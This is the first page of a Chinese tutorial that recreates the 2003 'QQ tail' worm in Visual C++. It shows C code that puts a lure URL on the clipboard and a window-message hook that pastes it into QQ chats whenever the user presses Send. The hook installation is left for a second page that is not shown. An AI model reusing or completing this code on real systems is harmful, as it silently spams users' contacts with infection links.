QQ尾巴病毒的Visual C++實現探討

QQ尾巴病毒的Visual C++實現探討
  

自2003起,QQ尾巴病毒可以算是風光了一陣子。它利用IE的郵件頭漏洞在QQ上瘋狂傳播。中毒者在給別人發信息時,病毒會自動在信息文本的後邊添上一句話,話的內容多種多樣,總之就是希望信息的接收者點擊這句話中的URL,成為下一個中毒者。

  下面我將要討論的,就是QQ尾巴病毒使用的這一技術。由於病毒的源代碼無法獲得,所以以下的代碼全是我主觀臆斷所得,所幸的是效果基本與病毒本身一致。

  粘貼尾巴

  首先的一個最簡單的問題是如何添加文本。這一技術毫無秘密可言,就是通過剪貼板向QQ消息的那個RichEdit“貼”上一句話而已。代碼如下:

TCHAR g_str[] = "歡迎來我的小站坐坐:http://dev.yesky.com";// 函數功能:向文本框中粘貼尾巴void PasteText(HWND hRich){ HGLOBAL hMem; LPTSTR pStr; // 分配內存空間 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); pStr = GlobalLock(hMem); lstrcpy(pStr, g_str); GlobalUnlock(hMem); OpenClipboard(NULL); EmptyClipboard(); // 設置剪貼板文本 SetClipboardData(CF_TEXT, hMem); CloseClipboard(); // 釋放內存空間 GlobalFree(hMem); // 粘貼文本 SendMessage(hRich, WM_PASTE, 0, 0);} 

  鉤子

  好了,那麼下面的問題是,這段文本應該在什麼時候貼呢?網上有一些研究QQ尾巴實現的文章指出,可以用計時器來控制粘貼的時間,類似這個樣子:

void CQQTailDlg::OnTimer(UINT nIDEvent){PasteText(hRich);}

  這的確是一種解決的手段,然而它也存在著極大的局限性——計時器的間隔如何設置?也許中毒者正在打字,尾巴文本“唰”的出現了……

  然而病毒本身卻不是這樣子,它能夠準確地在你單擊“發送”或按下Ctrl+Enter鍵的時候將文本粘貼上。2003年1月份我的一台P2曾經中過毒,由於系統速度較慢,所以可以很清楚地看見文本粘貼的時機。

  講到這裡,我所陳述的這些事實一定會讓身為讀者的你說:鉤子!——對,就是鉤子,下面我所說的正是用鉤子來真實地再現“QQ尾巴病毒”的這一技術。

  首先我對鉤子做一個簡要的介紹,已經熟悉鉤子的朋友們可以跳過這一段。所謂Win32鉤子(hook)並不是鐵鉤船長那只人工再現的手臂,而是一段子程序,它可以用來監視、檢測系統中的特定消息,並完成一些特定的功能。打個比方來說,你的程序是皇帝,Windows系統充當各省的巡撫;至於鉤子,則可以算是皇上的一個欽差。譬如皇帝下旨在全國收稅,然後派了一個欽差找到山西巡撫說:“皇上有旨,山西除正常賦稅外,加收杏花村酒十壇。”(-_-#……)正如皇帝可以用這種方法來特殊對待特定的巡撫一樣,程序員也可以用鉤子來捕獲處理Windows系統中特定的消息。

  問題具體到了“QQ尾巴病毒”上邊,就是我們需要一個鉤子,在用戶單擊了“發送”按鈕之後,粘貼我們的文本。我所實現的這段鉤子過程為(至於如何掛接這個鉤子,我會在稍後說明):

// 鉤子過程,監視“發送”的命令消息LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam){ CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕獲“發送”按鈕 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)  PasteText(g_hRich); return CallNextHookEx(g_hProc, nCode, wParam, lParam);}

  在此我對這個回調過程說明幾點:

  1、lParam是一個指向CWPSTRUCT結構的指針,這個結構的描述如下:

typedef struct { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd;} CWPSTRUCT, *PCWPSTRUCT;

  這時候像我一樣的SDK fans也許會會心一笑:這不是窗口回調的那四個鐵桿參數麼?如你所說,的確是這樣,你甚至可以使用switch (p->message) { /* ... */ }這樣的代碼寫成的鉤子函數來全面接管QQ窗口。

  2、g_hRich是一個全局變量,它保存的是QQ消息文本框的句柄。這裡之所以採用全局變量,是因為我無法從鍵盤鉤子回調函數的參數中獲得這個句柄。至於如何獲得這個句柄以及這個全局變量的特殊位置,我會在稍後說明。

  3、CallNextHookEx是調用鉤子鏈中的下一個處理過程,換了欽差就會說:“十壇杏花村酒本欽差已經替皇上收下了,現在請巡撫大人把貴省正常的賦稅交上來吧。”(-_-#……)這是書寫鉤子函數中很重要的一個環節,如果少了這一句,那麼可能會導致系統的鉤子鏈出現錯誤,某些程序也會沒有響應——事實上我在編寫這個仿真程序的時候QQ就當掉了幾回。

  4、你也許會問為什麼我捕獲的是WM_COMMAND消息,這個原因讓我來用下面的SDK代碼(雖然QQ是用MFC寫的,但是用SDK代碼才能說明WM_COMMAND和“發送”按鈕的關係)來說明:

#define IDC_BTN_SENDMSG 1 // “發送”按鈕ID的宏定義// QQ發送消息對話框回調過程·李馬偽造版LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam){ switch (Msg) {  case WM_CLOSE:   EndDialog(hDlg, 0);   break;  case WM_COMMAND:  {   switch (LOWORD(wParam))   {    case IDC_BTN_SENDMSG:     // 發送消息...     break;     // 其它的命令按鈕處理部分...   }  }  break;  // 其它的case部分... } return 0;}

  消息發送的整個過程是:當用戶單擊了“發送”按鈕後,這個按鈕的父窗口(也就是“發送消息”的對話框)會收到一條WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))為這個按鈕的ID,然後再調用代碼中發送的部分,這個過程如下圖:

  所以,在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標鉤子要有效得多。

共2頁: 上一頁 1 [2] 下一頁

上一篇:馬化騰大開胃口 欲將所有商業模式納入騰訊  
下一篇:QQ空間FLASH模塊:為誰瘋狂 cpro_client='hearmusic_cpr'; cpro_cbd='#trans'; cpro_cbg='#trans'; cpro_ctitle='#090909'; cpro_clink='#000000'; cpro_w=468; cpro_h=15; cpro_template='tlink_default_468_15'; 相關閱讀·  QQ發展到現在,雖然只有短短的幾年時間,但卻已經成為眾多網 (2006-09-11)
·QQ輔助軟件—QQ密碼防盜專家 (2006-09-11)
·讓你的QQ號碼更安全——QQ密碼設置技巧 (2006-09-11)
·與手機有關的三項QQ密碼保護服務介紹 (2006-09-11)
·提示QQ號碼需要激活無法登錄的解決辦法 (2006-09-11)
·QQ號碼激活的常見問題解答與案例分析 (2006-09-11)
·QQ聊天記錄查看器V5.2 綠色版 (2006-10-01)
·QQ病毒專殺工具XPBuild 0903綠色特別版 (2006-10-01)
網站簡介 | 廣告服務 | 聯繫方式 | 意見建議 | 網站地圖 | 版權聲明 | 友情連接

QQ空間 非主流 QQ空間代碼 QQ空間模塊 非主流圖片│QQ空間代碼站 版權所有 24QQ.Cn Copyright©2006 All rights reserved

document.getElementById("gg").innerHTML=document.getElementById("ggcode").innerHTML; document.getElementById("ggcode").innerHTML=""; _uacct = "UA-186809-4"; urchinTracker();
共2頁 上一頁 1 2 下一頁
綜合資訊大全
金牌測算
免費起名
免費測名
個性網名
個性簽名
個性資料